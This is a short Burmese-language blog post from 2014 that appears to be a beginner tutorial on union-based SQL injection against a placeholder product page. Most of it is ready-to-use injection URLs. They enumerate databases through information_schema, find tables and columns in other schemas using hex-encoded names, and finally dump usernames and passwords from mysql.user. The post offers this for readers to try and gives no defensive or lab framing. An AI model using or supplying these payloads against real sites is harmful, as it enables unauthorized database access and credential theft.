January 30, 2014

Getting Data from Multiple Database

#############################
Beginner ေတြအတြက္ရည္ရြယ္ပါတယ္။ ဖိုရမ္ထဲမွာ လည္းေရးထားတာမေတြ႕တာနဲ႕ ေရးလိုက္တာပါ။
ပထမဆံုးအေနနဲ႕ ေျပာခ်င္တာက က်ေနာ္ တို႕ ဒါကို ဘယ္လိုေနရာမွာသံုးမွာလဲ?
user နဲ႕ပတ္သက္တဲ႕ table မေတြ႕တဲ့အခါမိ်ဳးမွာ စမ္းသံုးနိုုင္တယ္။
က်ေနာ္ တို႕ ဆိုက္တဆိုက္ကို column အေရအတြက္သိၿပီး တဲ့ အဆင့္ကစမယ္
http://www.site.com/product.php?id=3' ဒီဆိုက္မွာ column အေရအတြက္ ၅ ခုရွိတယ္ဆိုပါေတာ့
က်ေနာ္ တို႕ ေအာက္က code နဲ႕ ပံုမွန္အတိုင္း inject လုပ္ၾကည့္မယ္။
http://www.site.com/product.php?id=3 union select 1,2,3,group_concat(table_name),5 from information_schema.tables where table_schema=database()--
အဲလို inject လုပ္တဲ့အခါမွာ user table မေတြ႕ဘူးျဖစ္တတ္ပါတယ္။
ဒီလိုအခါမ်ိဳးမွာ က်ေနာ္ တို႕ ခုနည္းကိုသိထားမယ္ဆိုရင္ေတာ့ စမ္းၾကည့္လို႕ရနိုင္တာေပါ့။
ခုက်ေနာ္ တို႕ကို ထုတ္ေပးတဲ့ table name ေတြက default database ဒါမွမဟုတ္ current database ထဲကေနထုတ္တာပါ။
ဒီေတာ့က်ေနာ္ တို႕ database ဘယ္နခုရွိလဲ အရင္ဆံုးသိေအာင္ျပန္လုပ္မယ္။
http://www.site.com/product.php?id=3 union select 1,2,3,group_concat(schema_name),5 from information_schema.schemata--
ဒီ code ကိုသံုးလိုက္ရင္ schema_name ကိုသိရမယ္။
ဥပမာ information_schema နဲ႕ mysql ဆိုၿပီး ၂ ခုရွိတယ္ဆိုပါစို႕။ဘယ္ဟာက default database လည္းဆိုတာ သိရေအာင္
ေအာက္က code ေလးသံုးၿပီး စမ္းၾကည့္မယ္။
http://www.site.com/product.php?id=3 union select 1,2,3,group_concat(database()),5--
အဲလိုစမ္းလို႕ ေတြ႔ရတဲ့ database ဟာ default database ပါဘဲ
ဥပမာ information_schema ကိုျပတယ္ဆိုပါေတာ့။က်ေနာ္ တို႕ mysql ထဲက ေန ထပ္ထုတ္ၾကည့္မယ္။
သံုးရမယ္ query က
http://www.site.com/product.php?id=3 union select 1,2,3,group_concat(table_name),5 from information_schema.tables where table_schema=0xHEXmysql--
0x ရဲ႕ေနာက္မွာ mysql ရဲ႕ hex value ကိုထည့္ရမယ္
ဒါဆိုက်ေနာ္ တို႕ user table ေတြ႔နိုင္ပါတယ္
တကယ္လို႕ ေတြ႔ခဲ့ပီဆိုရင္ column ရွာဖို႔အတြက္
http://www.site.com/product.php?id=3 union select 1,2,3,group_concat(column_name),5 from information_schema.columns where table_schema=0xHEXmysql and table_name=0xHEXtable_name--
table_name ေနရာမွာ ကိုယ္လိုခ်င္တဲ့ table ကိုထည့္ေပ့ါ
ေနာက္ဆံုး data ေတြကို ထုတ္မယ္ ဆိုရင္ေတာ့ database_name.table_name ကိုသံုးရမယ္
ေအာက္က လို query မိ်ဳးျဖစ္သြားမယ္
http://www.site.com/product.php?id=3 union select 1,2,3,group_concat(username,0x3a,password),5 from mysql.user--
ဒီလိုမ်ိဳးနည္းနဲ႕ က်ေနာ္တို႕ စမ္းနိုင္ပါတယ္
အဆင္ေျပမယ္ထင္ပါတယ္ ဒီက်ဴတို ကို က်ေနာ္ ဘယ္က ယူလာမွန္းေတာ့ မသိေတာ့ဘူး
HF ကလို႕ေတာ့ထင္ပါတယ္

No comments:

Post a Comment